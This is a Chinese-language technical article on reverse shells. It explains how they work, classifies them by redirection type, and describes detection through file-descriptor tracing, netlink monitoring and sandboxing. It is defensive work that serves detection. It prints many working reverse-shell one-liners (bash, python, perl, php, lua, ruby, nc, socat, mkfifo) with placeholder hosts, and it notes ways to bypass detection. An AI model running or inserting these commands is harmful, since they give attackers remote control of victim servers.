本文研究反弹shell原理、类型、检测思路及方法...
0x01 基础原理 1. 描述 Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果。
2. 本质 本质:控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端
网络通信+命令执行+重定向方式:命令执行和网络通信借助重定向,构建出一条流动的数据通道,攻击者利用这条通道下发指令控制受害服务器
网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
重定向可以通过管道、成对的伪终端、内存文件等实现。
3. 网络通信(Network api) 四层协议 1 2 3 4 5 1) /dev/[tcp|udp]: 文件描述符+重定向 2) 通过建立socket tcp连接实现网络通信 3) 通过ICMP协议实现网络通信
七层协议
0x02 检测方法 1. 常规检测(特征匹配) 常见的检测方案是通过正则匹配的方式,提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有以下不足:
命令日志采集不完整 :例如通过Netlink等方式采集的日志,在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志,在遇到服务器使用Zsh、Ksh等其他Shell环境,或攻击者上传自己编译的Bash时会失效。
正则匹配无法覆盖无穷无尽的文本对抗 :攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中,过多复杂的正则匹配会带来更大性能压力,而通配性更广的正则匹配会带来更多误报。
特征匹配失效 :在网络流量被加密后,特征匹配会失效
2. 分类检测 FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征覆盖方案
a. 直接重定向Shell解释器的输入输出到Socket类型 常见场景
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 1) bash -i >& /dev/tcp/Rhost/Rport 0>&1 2) python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("Rhost",Rport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' 3) php -r '$sock=fsockopen("Rhost",Rport);exec("/bin/sh -i <&3 >&3 2>&3");' 4) perl -e 'use Socket;$i="Rhost";$p=Rport; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};' 5) lua -e "require('socket');require('os');t=socket.tcp();t:connect('Rhost','Rport');os.execute('/bin/sh -i <&3 >&3 2>&3');"
1 2 3 4 5 6 7 8 9 10 11 lrwx------. 1 root root 64 Feb 13 16:35 0 -> socket:[1202940] lrwx------. 1 root root 64 Feb 13 16:35 1 -> socket:[1202940] lrwx------. 1 root root 64 Feb 13 16:35 2 -> socket:[1202940] lrwx------. 1 root root 64 Feb 13 16:35 255 -> socket:[1202940] bash<>5 lrwx------. 1 root root 64 Feb 13 18:58 0 -> socket:[29023953] lrwx------. 1 root root 64 Feb 13 18:58 1 -> socket:[29023953] lrwx------. 1 root root 64 Feb 13 18:58 2 -> socket:[29023953] lrwx------. 1 root root 64 Feb 13 18:58 255 -> socket:[29023953] lrwx------. 1 root root 64 Feb 13 18:58 5 -> socket:[29023953]
特征 :该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信
检测思路 :通过检测Shell的标准输入、标准输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现
b. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转 通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体
常见场景
管道中转
1 2 3 4 5 6 7 8 9 10 11 1) nc Rhost Rport|/bin/sh|nc Rhost 5050 nc -e /bin/bash Rhost Rport nc -c bash Rhost Rport socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:Rhost:Rport 2) mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Rhost Rport>/tmp/f 3) mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Rhost:Rport > /tmp/s; rm /tmp/s 4) mknod backpipe p; nc Rhost Rport 0<backpipe | /bin/bash 1>backpipe 2>backpipe 5) bash -c 'exec 5<>/dev/tcp/Rhost/Rport;cat <&5|while read line;do $line >&5 2>&1;done' 6) telnet 10.10.10.10 Rport | /bin/bash | telnet Rhost 5050
匿名管道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 exec5 lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010305] l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010306] l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010306] lrwx------. 1 root root 64 Feb 13 18:55 5 -> socket:[29011974] nc-e lr-x------. 1 root root 64 Feb 13 19:02 0 -> pipe:[29037897] l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29037898] l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29037898] lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29039553] l-wx------. 1 root root 64 Feb 13 19:02 5 -> pipe:[29039554] lr-x------. 1 root root 64 Feb 13 19:02 6 -> pipe:[29039555] nc-c lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052945] l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052946] l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052946] lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054237] l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054238] lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054239] ncat-e lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052872] l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052873] l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052873] lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054410] l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054411] lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054412] socat-EXEC lr-x------. 1 root root 64 Feb 13 19:19 0 -> pipe:[29102002] l-wx------. 1 root root 64 Feb 13 19:19 1 -> pipe:[29102003] l-wx------. 1 root root 64 Feb 13 19:19 2 -> pipe:[29102003] lrwx------. 1 root root 64 Feb 13 19:19 3 -> socket:[29105502] lrwx------. 1 root root 64 Feb 13 19:19 4 -> socket:[29105503] lrwx------. 1 root root 64 Feb 13 19:19 5 -> socket:[29105504] lrwx------. 1 root root 64 Feb 13 19:19 6 -> socket:[29105505] rcat lr-x------. 1 root root 64 Feb 13 14:38 0 -> pipe:[318590] l-wx------. 1 root root 64 Feb 13 14:38 1 -> pipe:[318591] l-wx------. 1 root root 64 Feb 13 14:38 2 -> pipe:[318591] lrwx------. 1 root root 64 Feb 13 14:38 3 -> socket:[319517] php lr-x------. 1 root root 64 Feb 13 16:44 0 -> pipe:[1226187] l-wx------. 1 root root 64 Feb 13 16:44 1 -> pipe:[1226188] l-wx------. 1 root root 64 Feb 13 16:44 2 -> pipe:[1226188] lrwx------. 1 root root 64 Feb 13 16:44 3 -> socket:[1226491] lr-x------. 1 root root 64 Feb 13 16:44 4 -> pipe:[1226492] lr-x------. 1 root root 64 Feb 13 16:56 0 -> pipe:[1244376] l-wx------. 1 root root 64 Feb 13 16:56 1 -> pipe:[1244377] l-wx------. 1 root root 64 Feb 13 16:56 2 -> pipe:[1244377] lrwx------. 1 root root 64 Feb 13 16:56 3 -> socket:[1244535] bash196 lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010277] l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010278] lrwx------. 1 root root 64 Feb 13 18:55 196 -> socket:[29011043] l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010278] perl lrwx------. 1 root root 64 Feb 13 16:36 0 -> socket:[1206445] lrwx------. 1 root root 64 Feb 13 16:36 1 -> socket:[1206445] l-wx------. 1 root root 64 Feb 13 16:36 2 -> pipe:[1205125] lrwx------. 1 root root 64 Feb 13 16:36 3 -> socket:[1206445] awk lr-x------. 1 root root 64 Feb 13 18:38 0 -> pipe:[1543339] l-wx------. 1 root root 64 Feb 13 18:38 1 -> pipe:[1543340] l-wx------. 1 root root 64 Feb 13 18:38 2 -> pipe:[1543340] lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2821241] lrwx------. 1 root root 64 Feb 13 18:41 4 -> socket:[2821241]
自建管道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 nc-/tmp/f lr-x------. 1 root root 64 Feb 13 18:58 0 -> pipe:[29024021] l-wx------. 1 root root 64 Feb 13 18:58 1 -> /tmp/f (deleted) l-wx------. 1 root root 64 Feb 13 18:58 2 -> pipe:[29021988] lrwx------. 1 root root 64 Feb 13 18:58 3 -> socket:[29024022] nc-backpipe lr-x------. 1 root root 64 Feb 13 19:02 0 -> /root/backpipe l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29040260] l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29038076] lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29040261] telnet-$TF lr-x------. 1 root root 64 Feb 13 14:47 0 -> /tmp/tmp.5wnXq0URfF l-wx------. 1 root root 64 Feb 13 14:47 1 -> pipe:[326375] l-wx------. 1 root root 64 Feb 13 14:47 2 -> pipe:[326286] lrwx------. 1 root root 64 Feb 13 14:47 3 -> socket:[327426] telnet-a lr-x------. 1 root root 64 Feb 13 14:46 0 -> /root/a l-wx------. 1 root root 64 Feb 13 14:46 1 -> pipe:[325139] l-wx------. 1 root root 64 Feb 13 14:46 2 -> pipe:[324180] lrwx------. 1 root root 64 Feb 13 14:46 3 -> socket:[325140]
检测思路 :经过层层中转,最终会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道,判断是否为bash进程,获取bash父进程的/proc/[pid]/fd,判断是否有存在fd重定向到pipe或者socket情况
绕过方法 :上传可执行文件、拷贝Bash文件到其他路径等方法会绕过检测
伪终端中转
1 2 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 python lrwx------. 1 root root 64 Feb 13 17:29 0 -> socket:[1283078] lrwx------. 1 root root 64 Feb 13 17:29 1 -> socket:[1283078] lrwx------. 1 root root 64 Feb 13 17:29 2 -> socket:[1283078] lrwx------. 1 root root 64 Feb 13 17:29 3 -> socket:[1283078] lrwx------. 1 root root 64 Feb 13 17:29 4 -> /dev/ptmx socat-pty lr-x------. 1 root root 64 Feb 13 19:20 0 -> pipe:[29106145] l-wx------. 1 root root 64 Feb 13 19:20 1 -> pipe:[29106146] l-wx------. 1 root root 64 Feb 13 19:20 2 -> pipe:[29106146] lrwx------. 1 root root 64 Feb 13 19:20 3 -> socket:[29107406] lrwx------. 1 root root 64 Feb 13 19:20 4 -> socket:[29107407] lrwx------. 1 root root 64 Feb 13 19:20 5 -> socket:[29107408] lrwx------. 1 root root 64 Feb 13 19:20 6 -> /dev/ptmx socat-exec lr-x------. 1 root root 64 Feb 13 19:23 0 -> pipe:[29118853] l-wx------. 1 root root 64 Feb 13 19:23 1 -> pipe:[29118854] l-wx------. 1 root root 64 Feb 13 19:23 2 -> pipe:[29118854] lrwx------. 1 root root 64 Feb 13 19:23 3 -> socket:[29119524] lrwx------. 1 root root 64 Feb 13 19:23 4 -> socket:[29119525] lrwx------. 1 root root 64 Feb 13 19:23 5 -> /dev/ptmx lrwx------. 1 root root 64 Feb 13 19:23 6 -> socket:[29119528]
通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此需要在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析
c. 编程语言实现标准输入中转,重定向命令执行的输入到中转 常见场景
1 2 3 4 5 1) python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('Rhost',Rport))\nwhile 1: proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" 2) lua5.1 -e 'local host, port = "Rhost", Rport local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' 3) ruby -rsocket -e 'exit if fork;c=TCPSocket.new("Rhost","Rport");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ruby lr-x------. 1 root root 64 Feb 13 18:37 0 -> pipe:[1319065] l-wx------. 1 root root 64 Feb 13 18:37 1 -> pipe:[1319066] l-wx------. 1 root root 64 Feb 13 18:37 2 -> pipe:[1319066] lr-x------. 1 root root 64 Feb 13 18:37 3 -> pipe:[1319358] l-wx------. 1 root root 64 Feb 13 18:37 4 -> pipe:[1319358] lr-x------. 1 root root 64 Feb 13 18:37 5 -> pipe:[1319359] l-wx------. 1 root root 64 Feb 13 18:37 6 -> pipe:[1319359] lrwx------. 1 root root 64 Feb 13 18:37 7 -> socket:[1319360] lua lr-x------. 1 root root 64 Feb 13 18:41 0 -> pipe:[2720451] l-wx------. 1 root root 64 Feb 13 18:41 1 -> pipe:[2720452] l-wx------. 1 root root 64 Feb 13 18:41 2 -> pipe:[2720452] lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2972610]
这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升
检测思路: 这类常见可结合进程命令行特征+异常命令行为序列+异常shell启动模型
1 2 3 异常命令行为序列:通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell 异常shell启动模型:结合多维度特征以及机器历史行为综合判定产出告警
3. 纵深检测 a. 分类检测 FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征
b. 脚本沙箱 1 2 3 4 5 6 7 1) 落盘脚本文件: 检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等 2) 混淆类样本: 通过每种语言的Trace模式,动态解混淆后进行检测 3) JAR打包类文件: 进行静态反编译并结合动态的运行进行多维度判定 4) 无文件攻击: 命令序列分析
c. 二进制沙箱 对于常见的C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊的识别和处理,综合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测
d. 对抗行为检测 针对常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果
0x03 检测总结 1. 进程 file descriptor 检测 1 2 3 4 5 6 7 8 9 1) 检测 file descriptor 是否指向一个socket 以“重定向符”+"/dev/tcp网络通信"Bash反弹Shell这一类最经典的反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄 2) 检测 file descriptor 是否指向一个管道符(pipe) 对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄;不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。 只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否是来自一个socket。例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险
2. netlink监控+fd异常检测 1 2 3 4 5 6 7 1) 监听Netlink Socket,实时获取进程EXEC事件。 2) 如果为Shell进程,检查进程启动打开的FD, - 打开了Socket - 未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端 确认为反弹Shell
绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法
3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测 1 2 3 python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测 python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测 C/C++实现纯代码形式的反弹shell:二进制文件检测
0xFF Reference